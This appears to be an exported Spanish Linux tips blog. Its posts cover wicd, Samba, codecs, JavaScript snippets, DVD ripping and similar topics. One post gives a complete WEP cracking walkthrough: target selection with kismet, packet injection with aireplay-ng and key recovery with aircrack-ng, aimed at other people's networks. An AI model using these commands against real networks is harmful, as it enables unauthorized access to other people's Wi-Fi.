</div><div style="text-align: justify;">1. Instalamos wicd para gestionar todas las conexiones.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><i>#pacman -S wicd</i></div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">2. Editamos el archivo <i>/etc/rc.conf </i>.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><i>#nano /etc/rc.conf</i></div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">2.1. Lo modificamos desactivando <i>networkmanager</i> y activando el inicio automático de <i>wicd.</i> </div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><i>DAEMONS=(syslog-ng dbus hal gdm <b>!network wicd</b> netfs crond alsa)</i></div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">2.2 En la sección correspondiente a los módulos agregamos el módulo <i>ipw2200.</i></div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><i>MODULES=(ipw2200)</i></div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">2.3 Activamos dhcp para todas nuestras tarjetas de red.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><i>eth0="dhcp"<br />
eth1="dhcp"<br />
INTERFACES=(eth0 eth1)</i><br />
<br />
Guardamos los cambios y reiniciamos. A partir de ahora debería funcionar sin problemas.</div><div style="text-align: justify;"></div>vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com5tag:blogger.com,1999:blog-2457057555437325689.post-4614262875055805412010-10-06T22:03:00.000+02:002010-10-06T22:03:24.947+02:00Obtener clave wifi en 7 pasos<table><tbody>
<tr><td style="text-align: justify;">Rios de tinta se han escrito sobre este tema y, como yo también he hecho mis experimentos con las redes wifi, me gustaría plasmar aquí los pasos que he seguido para obtener alguna que otra clave de red.<br />
Antes que nada, diré, que el proceso descrito a acontinuación solo sirve para las contraseñas WEP, las contraseñas WPA son un caso a parte. </td> <td><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdmlOPbfrMvyTYOLootVM2iqu9SDDGK9QhZao8udEY634SB5Y3RP6PEjwJ133SotikEH_7BLAyRT3bz3i9KYe1gn2dF4RZMbelTd4Up5MXYd3p8tQ5Q6sxMzHq3yAYigs4MxavgWhICHM/s1600/backtrack.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="149" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdmlOPbfrMvyTYOLootVM2iqu9SDDGK9QhZao8udEY634SB5Y3RP6PEjwJ133SotikEH_7BLAyRT3bz3i9KYe1gn2dF4RZMbelTd4Up5MXYd3p8tQ5Q6sxMzHq3yAYigs4MxavgWhICHM/s200/backtrack.jpeg" width="200" /></a></div></td></tr>
</tbody></table><br />
<a name='more'></a>Herramientas utilizadas:<br />
<i>BackTrack V3</i><br />
<i>Portátil Dell D510</i><br />
El driver a emplear será el ipw2200 que ya ha sido parcheado por el equipo de Backtrack para permitir la inyección de paquetes.<br />
<br />
Con estas herramientas a punto, podemos ponernos manos a la obra.<br />
<br />
1. Apuntamos la dirección MAC de nuestra tarjeta wifi<br />
# <i>iwconfig --> obtenemos nuestra tarjeta wifi (eth0, eth1,...)</i> <br />
<i># ifconfig ethX</i><br />
<br />
2. Editamos el archivo<i> /usr/local/etc/kismet.conf </i>y cambiamos el valor "source" de la siguiente forma:<br />
<br />
<i> source=ipw2200,ethX,prueba</i><br />
<br />
3. Guardamos y ejecutamos kismet<br />
<i> # kismet</i><br />
<br />
<i> 3.1. Presionamos la "m" para quitar el ruido y a continuación pulsamos "s" y "S" para ordenar la lsita de redes por SSID.</i><br />
<i> 3.2. Esperamos unos minutos para obtener la mayor cantidad de información posible.</i><br />
<i> 3.3. Seleccionamos el objetivo y presionamos "Intro" par ver la información.</i><br />
<i> 3.4. Ahora apuntamos los datos necesarios ESSID, BSSID y CHANNEL.</i><br />
<i> 3.5. Si pulsamos "c" obtendremos la lista de clientes de la red.<br />
3.6. Presionamos "Shift q" para cerrar el programa.</i><br />
<br />
4. Ahora tenemos que activar la interaz <i>rtap</i>:<br />
<i> # rmmod ipw2200</i><br />
<i># modprobe ipw2200 rtap_iface=1 channel=<CHANNEL></i><br />
<br />
5. Establecemos una conexión falsa con la red wifi utilizando una contraseña cualquiera:<br />
<i> # iwconfig ethX ap <RedWifi></i><br />
<i> # iwconfig ethX key s:cualquiera</i><br />
<i> # iwconfig ethX mode managed</i><br />
<br />
6. Activamos las dos interfaces de red<br />
<i> # ifconfig ethX up</i><br />
<i> # ifconfig rtap0 up</i><br />
<br />
<div style="text-align: justify;">7. Ahora que tenemos todo preparado, podemos comenzar a generar y capturar tráfico. A la vez que hacemos esto, podemos empezar a descifrar la contraseña. Para ello necesitamos abrir 3 terminales y poner en cada una uno de los siguientes comandos:</div><br />
7.1. capturamos trafico<br />
<i> # airodump-ng --channel <channel> --bssid <redWifi> --ivs --write <nombrearchivo> rtap0</i><br />
<br />
7.2. generamos tráfico<br />
<i> # aireplay-ng --arpreplay -b <redWifi> -h <</i><i>nombrearchivo</i><i>> -i rtap0 eth0</i><br />
<br />
7.3. Cuando hayamos capturado unos 200.000 IVs podemos comenzar con el proceso de descifrar la contraseña :<br />
<i> # aircrack-ng -a 1 <</i><i>nombrearchivo</i><i>>.ivs</i><br />
<br />
Ahora solo hay que sentarse y esperar resultados. El tiempo que se tarda en obtener la clave puede variar en función del tráfico de la red, de la intensidad de la señal, etc.<i> </i>vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com2tag:blogger.com,1999:blog-2457057555437325689.post-34424327819940451972010-10-06T13:09:00.001+02:002010-10-06T13:10:52.844+02:00Ripear DVDs en Debian<a href="http://debian-multimedia.org/dists/stable/main/binary-i386/package/dvdrip.php">DvdRip</a> es un programa que nos permitirá ripear películas en DVD y, así, poder grabar su contenido en un Cd o en nuestro disco duro, ocupando mucho menos espacio del que ocuparía sin ripear.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiil07UL9imd_nFXDwHGK05b3DQXLyw8iklWXmtTEaqImH3DCtMOsab5PhnDtqOiGJMvJURLp7cF_WRlpEgjmRgZaIuzR2AQfWaGVVeFp1a5xvminj0kaCkMdui_8kwdusTuz2Tl8M5syQ/s1600/dvdrip.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="233" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiil07UL9imd_nFXDwHGK05b3DQXLyw8iklWXmtTEaqImH3DCtMOsab5PhnDtqOiGJMvJURLp7cF_WRlpEgjmRgZaIuzR2AQfWaGVVeFp1a5xvminj0kaCkMdui_8kwdusTuz2Tl8M5syQ/s320/dvdrip.jpg" width="320" /></a></div><br />
Para instalarlo, tenemos que agregar al archivo <i>/etc/apt/source.list</i> el repositorio de debian multimedia: <br />
<a name='more'></a><br />
<i>deb http://www.debian-multimedia.org lenny main</i><br />
<br />
Una vez agregado el repositorio actualizamos e instalamos<br />
<br />
<i>#apt-get update</i><br />
<i>#apt-get install dvdrip</i><br />
<br />
El programa nos permite ripear tanto un dvd físico como una imagende dvd. Además cuenta con numerosas opciones que nos permitirán ajustar un gran número de parámetros, tamaño del archivo de salida, codec de vídeo, calidad del vídeo, etc.vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com0tag:blogger.com,1999:blog-2457057555437325689.post-74040323551006155242010-10-06T11:00:00.000+02:002010-10-06T11:00:03.604+02:00Mostrar version del núcleo<div style="text-align: justify;">A la hora de instalar algunas aplicaciones necesitamos saber que versión de linux estamos utilizando. Si nos vemos en esta situción o, simplemente pretendemos satisfacer nuestra curiosidad, podemos hacerlo con una simple orden:<i> </i></div><div style="text-align: justify;"><br />
</div><i> $ uname -r</i><br />
<br />
El resultado será similar a este:<br />
<br />
<i>2.6.26-2-686</i><br />
<br />
Si queremos un poco de información adicional de nuestro sistema, la siguiente orden nos la dará:<br />
<i><a name='more'></a> </i><br />
<i> $ lsb_release -a</i><br />
<i> </i><br />
Nos mostrará algo como esto:<i> </i><br />
<br />
<i> No LSB modules are available.<br />
Distributor ID: Debian<br />
Description: Debian GNU/Linux 5.0.6 (lenny)<br />
Release: 5.0.6<br />
Codename: lenny</i><br />
vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com0tag:blogger.com,1999:blog-2457057555437325689.post-84519604143265925822010-10-05T10:30:00.000+02:002010-10-05T10:30:00.810+02:00Redondear decimales con JavascriptPara redondear un número con decimales utilizaremos la siguiente función, a la que pasmos el número a redondear y el número de decimales que queremos que tenga : <br />
<i><br />
// Redondea el número 'num' a 'ndec' decimales. <br />
<b>function redond(num, ndec) { </b><br />
<b> var fact = Math.pow(10, ndec);</b> // 10 elevado a ndec <br />
//Se desplaza el punto decimal ndec posiciones, <br />
//se redondea el número y se vuelve a colocar <br />
//el punto decimal en su sitio.<br />
<b>return Math.round(num * fact) / fact; </b><br />
<b>}</b></i><br />
<br />
Para que esta función haga bien su trabajo, el número que queremos redondear solo puede contener un punto como separador de decimales, no puede contener ningún otro signo de puntuación. Su formato debe ser similar a éste "<i>5678.12</i>".vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com0tag:blogger.com,1999:blog-2457057555437325689.post-42051125982826965792010-10-04T12:20:00.001+02:002010-10-04T12:20:00.420+02:00Ocultar columnas con JavascriptMediante el uso de <b>Javascript</b> podemos ocultar las columnas de una tabla <b>html</b> facilmente.<br />
En este ejemplo,aunque no es necesario para ocultar las columnas, se diferencia entre la cabecera de la tabla "<b><thead><tr><th>Título columna</th><tr></thead></b>" y el cuerpo "<b><tbody><tr><td></td></tr></tbody></b>".<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjejJMBWQJPL4dMSyF5Fc3nhimtLV0KPcyEs3NgfTVsjo6z2QtuEHzl3PRh63YQI10BXf1tE62n4Dn_nRuq_rG8caz9cS41FxY0OzahYMXPJ0J0F67-ovhti3VO1UUBZwCKzmKumbDwHeI/s1600/tabla.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="59" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjejJMBWQJPL4dMSyF5Fc3nhimtLV0KPcyEs3NgfTVsjo6z2QtuEHzl3PRh63YQI10BXf1tE62n4Dn_nRuq_rG8caz9cS41FxY0OzahYMXPJ0J0F67-ovhti3VO1UUBZwCKzmKumbDwHeI/s320/tabla.jpg" width="320" /></a></div><br />
<a name='more'></a>Por lo tanto la tabla quedaría de este modo:<br />
<br />
<i><b>//el id de la tabla se utilizará en la función javascript</b><br />
<table id='tabla'><br />
<thead><br />
<tr><br />
<th>Título columna1</th><br />
<th>Título columna2</th><br />
<th>Título columna3</th><br />
<th>Título columna4</th><br />
</tr><br />
</thead><br />
<tbody><br />
<tr><br />
<td>columna1</td><br />
<td>columna2</td><br />
<td>columna3</td><br />
<td>columna4</td><br />
</tr><br />
<tr><br />
<td>columna1</td><br />
<td>columna2</td><br />
<td>columna3</td><br />
<td>columna4</td><br />
</tr><br />
<tr><br />
<td>columna1</td><br />
<td>columna2</td><br />
<td>columna3</td><br />
<td>columna4</td><br />
</tr><br />
</tbody><br />
</table></i><br />
El código javascript que oculta las columnas es el siguiente:<br />
<br />
<i><script><br />
//la función recibe como parámetros el numero de la columna a ocultar <br />
function ocultarColumna(num,ver) <br />
{ <br />
//aquí utilizamos el id de la tabla, en este caso es 'tabla'<br />
fila=document.getElementById('tabla').getElementsByTagName('tr');<br />
<br />
//mostramos u ocultamos la cabecera de la columna <br />
if (fila[0].getElementsByTagName('th')[num].style.display=='none')<br />
{<br />
fila[0].getElementsByTagName('th')[num].style.display=''<br />
}<br />
else<br />
{<br />
fila[0].getElementsByTagName('th')[num].style.display='none'<br />
}<br />
//mostramos u ocultamos las celdas de la columna seleccionada<br />
for(i=1;i<fila.length;i++)<br />
{<br />
if (fila[i].getElementsByTagName('td')[num].style.display=='none')<br />
{<br />
fila[i].getElementsByTagName('td')[num].style.display=''; <br />
} <br />
else<br />
{<br />
fila[i].getElementsByTagName('td')[num].style.display='none'<br />
} <br />
} <br />
<br />
}<br />
</script></i><br />
<br />
Llamamos a la función desde un enlace, por ejemplo:<br />
<br />
<i><a href='javascript:ocultarColumna(0)'>Ocultar/Mostrar columna 1</a><br />
<a href='javascript:ocultarColumna(1)'>Ocultar/Mostrar columna 2</a><br />
<a href='javascript:ocultarColumna(2)'>Ocultar/Mostrar columna 3</a><br />
<a href='javascript:ocultarColumna(3)'>Ocultar/Mostrar columna 4</a></i>vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com0tag:blogger.com,1999:blog-2457057555437325689.post-2184481967304502952010-10-03T15:23:00.002+02:002010-10-03T15:24:34.135+02:00Redimensionar imágenes rapidamente<table border="0"><tbody>
<tr> <td><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_MVlQQzJpHx_sS9tVhzcSpMIEfJla3mw3S9WalmM9FY79k4vJjMrcXHQhwNt2VX9IcGVBSbS2juWKHIma8w7tX8kA0OjQAqpS7I2Wc9F64LExbbkKy4ZZsmUM_1rD2JZWh8Hpk6My8WM/s1600/redimensionar.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="168" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_MVlQQzJpHx_sS9tVhzcSpMIEfJla3mw3S9WalmM9FY79k4vJjMrcXHQhwNt2VX9IcGVBSbS2juWKHIma8w7tX8kA0OjQAqpS7I2Wc9F64LExbbkKy4ZZsmUM_1rD2JZWh8Hpk6My8WM/s320/redimensionar.jpg" width="320" /></a></div></td> <td style="text-align: justify;">Si queremos redimensionar una imágen, podemos hacerlo mediante un programa de manipulación de imágenes o mediante la consola con el comando <i>convert. </i>Si queremos hacerlo rápidamente, podemos crear un script y agregarlo al menú contextual de gnome.</td> </tr>
</tbody></table><a name='more'></a>El código sería mas o menos así:<br />
<br />
<i>#!/bin/bash</i><br />
<i>convert -scale 800x600 $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS COPIA-$($(echo basename "$NAUTILUS_SCRIPT_SELECTED_FILE_PATHS") $(echo "$NAUTILUS_SCRIPT_SELECTED_FILE_PATHS" | awk -F . '{print $NF}'))$(echo "$NAUTILUS_SCRIPT_SELECTED_FILE_PATHS" | awk -F . '{print $NF}')</i><br />
<br />
De esta forma redimensionamos la imagen a un tamaño de 800x600 píxels. Podemos crear varios scripts cambiando los valores (640x480, 1024x768 ...) y poniendo los que mas se adapten a nuestras necesidades.<br />
Cuando tengamos nuestros scripts, los movemos al directorio <i>.gnome2/nautilus-scripts/ </i>y ya tenemos todo listo para redimensionar imágenes rápidamente.<br />
Si queremos dejarlo todo un poco más ordenado, se puede crear una carpeta dentro del directorio <i>nautilus-scripts </i>para que nuestros scripts queden agrupados.vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com0tag:blogger.com,1999:blog-2457057555437325689.post-28256451159893320882010-10-01T19:12:00.002+02:002010-10-01T19:13:57.313+02:00Instalar codecs en Ubuntu<table border="0"><tbody>
<tr> <td><br />
Debido a temas de licencias, hay algunas librerías, fuentes y códecs que no se incluyen por defecto en esta distribución. A pesar de éso, podemos instalarlas con una simple orden:</td> <td><br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYTKaMovFYMvJxm9YeThnFkbHn01Pe0cTuf0UHpclVKgakYS2Qc9afUJGR5xAuLi9Vq_E8-7VlDBhb1tDcI67oiLnGSZjbjEMBjXTyRJeweg4PGsAl16EcvKq-ZkwxYjX0baoXnUqaQvY/s1600/hacer.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="155" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYTKaMovFYMvJxm9YeThnFkbHn01Pe0cTuf0UHpclVKgakYS2Qc9afUJGR5xAuLi9Vq_E8-7VlDBhb1tDcI67oiLnGSZjbjEMBjXTyRJeweg4PGsAl16EcvKq-ZkwxYjX0baoXnUqaQvY/s200/hacer.jpg" width="200" /></a></div></td></tr>
</tbody></table><br />
<a name='more'></a> <i>#aptitude install ubuntu-restricted-extras</i><br />
<br />
Listo, a partir de este momento ya podemos disfrutar de nuestra música en Mp3 y de las animaciones y juegos Flash de la Web, reproducir todo tipo de vídeos, ejecutar aplicaciones java, etc.vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com0tag:blogger.com,1999:blog-2457057555437325689.post-32853012057847443332010-10-01T18:54:00.002+02:002010-10-01T18:55:49.663+02:00Compartir carpetas con SambaEn primer lugar instalamos samba:<br />
<i>#aptitude install samba</i><br />
<br />
Editamos el archivo de configuración:<i><br />
#gedit /etc/samba/smb.conf</i><br />
<br />
Agregamos los datos relativos a la carpeta que queremos compartir:<br />
<a name='more'></a><i> [Compartida] <br />
# directorio con permiso solo lectura<br />
path = /ruta/carpeta/compartida<br />
read only = Yes<br />
#guest only = Yes <--- con esta opción activada permitimos acceso anónimo (sin password)<br />
guest ok = No <--- con esta opción nos solicitará usuario y password para acceder a la carpeta<br />
</i>Si activamos la opción de solicitar passwoord<i> </i>debemos crear un usuario samba con su respectivo password:<br />
<i><br />
#smbpasswd -a nombreusuario<br />
New SMB password:<br />
Retype new SMB password:</i><br />
<br />
Reiniciamos samba para aplicar los cambios:<br />
<i><br />
#/etc/init.d/samba restart</i><br />
<br />
Podemos acceder a la carpeta compartida desde el explorador de archivos, escribiendo en al barra de direcciones :<br />
<i><br />
smb://ip_equipo_remoto/carpeta_compartida</i><br />
vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com0tag:blogger.com,1999:blog-2457057555437325689.post-65721520918094840312010-09-30T22:30:00.009+02:002010-09-30T22:36:32.445+02:00Verificar espacio libre en el disco duroPara verificar el espacio libre en nuestros discos duros y pariciones podemos hacerlo ejecutando el comando :<br />
<br />
<i> # df -h</i><br />
<br />
Que nos dará un resultado similar a<i> </i>este :<br />
<br />
<i> S.ficheros Tamaño Usado Disp Uso% Montado en</i><br />
<i> /dev/sda1 292G 106G 171G 39% /</i><br />
<i> tmpfs 1014M 0 1014M 0% /lib/init/rw</i><br />
<i> udev 10M 908K 9,2M 9% /dev</i><br />
<i> tmpfs 1014M 0 1014M 0% /dev/shm</i><i></i><br />
<i><br />
</i><br />
En la columna "S. ficheros"<i> </i>aparecen referencias a distintos tipos de sistemas de ficheros que pueden definirse así:<br />
<a name='more'></a><br />
<i> *El sistema "<a href="http://en.wikipedia.org/wiki/Tmpfs">tmpfs</a>" es un sistema de archivos temporal que se almacena la información en memoria.</i><br />
<i> </i><br />
<i> *"<a href="http://es.wikipedia.org/wiki/Udev">Udev</a>" es el gestor de dispositivos del Kernel linux, maneja el directorio "/dev" y todas las acciones del espacio de usuario al agregar o quitar dispositivos.</i><br />
<i> </i><br />
<i> *Por último, "/dev/sda1" hace referencia a la pimera partición del primer disco duro.</i><br />
<ul></ul>vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com0tag:blogger.com,1999:blog-2457057555437325689.post-55445048284623783022010-09-29T18:23:00.000+02:002010-09-29T18:23:53.597+02:00Arrancar aplicaciones al inicio de sesión (gnome)En ocasiones queremos que una aplicación se lance automáticamente al iniciar la sesión. Gnome nos ofrece una forma muy sencilla para hacer esto:<br />
<br />
<i>Sistema > preferencias > sesiones </i><br />
<br />
Seleccionamos la pestaña <i>Programas al inicio </i>y pulsamos <i>añadir. </i><br />
<div class="separator" style="clear: both; text-align: center;"><br />
</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsT_KiiexUfoB5gQl7uTXVi6wekLu-kugq46XpdXwDgYqgIcKtthQPZzq5YjHyY0CsUHXnJM0pFG6hK6HtZSzAIR2V_YZcTgDOGynGtLf9NiJ4zPY-4oJ3alS9g2dZyknC2INLg72ZEUU/s1600/programa+de+inicio.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="126" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsT_KiiexUfoB5gQl7uTXVi6wekLu-kugq46XpdXwDgYqgIcKtthQPZzq5YjHyY0CsUHXnJM0pFG6hK6HtZSzAIR2V_YZcTgDOGynGtLf9NiJ4zPY-4oJ3alS9g2dZyknC2INLg72ZEUU/s320/programa+de+inicio.png" width="320" /></a></div><i> </i><br />
<i></i><br />
<a name='more'></a><i></i>Ahora basta con introducir eun nombre y el comando necesario para ejecutar la aplicación. Si queremos también se puede incluir una descripción que nos ayude a identificar la aplicación.vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com0tag:blogger.com,1999:blog-2457057555437325689.post-59007700672311193642010-09-29T17:42:00.001+02:002010-09-29T18:21:16.507+02:00Firestarter en DebianFirestarter es un interfaz gráfico para iptables que nos permite configurar algunas reglas de cortafuegos de manera sencilla.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAseHzqISxqfs9UMsoQHFdxMawibgaor_Hls_6bE-ICIcCPCeqNJm6cEPvsBy8pm_F2F8xKYsQnwTJURr5GhZlT3-m5oLEMVte8BR48Rmg1NzLVnqGN_Wz3E93B24euwV3o-DHXwf5pi8/s1600/firestarter.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAseHzqISxqfs9UMsoQHFdxMawibgaor_Hls_6bE-ICIcCPCeqNJm6cEPvsBy8pm_F2F8xKYsQnwTJURr5GhZlT3-m5oLEMVte8BR48Rmg1NzLVnqGN_Wz3E93B24euwV3o-DHXwf5pi8/s200/firestarter.png" width="160" /></a></div><br />
<br />
Para instalarlo :<br />
<br />
$<i>sudo aptitude install firestarter</i><br />
<br />
<a name='more'></a><br />
Si tras iniciar el programa, éste se cierra solo transcurridos unos minutos, debemos iniciarlo con el siguiente comando:<br />
<i><br />
</i><br />
<i> G_SLICE=always-malloc sudo /usr/sbin/firestarter --start-hidden</i><br />
<br />
De esta forma se iniciará minimizado en el área de notificación.<br />
Si queremos que se inicie automáticamente al iniciar la sesión, podemos crear un script que contenga el código escrito más arriba y configurar gnome para que ejecute el script al entrar en la sesión.vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com0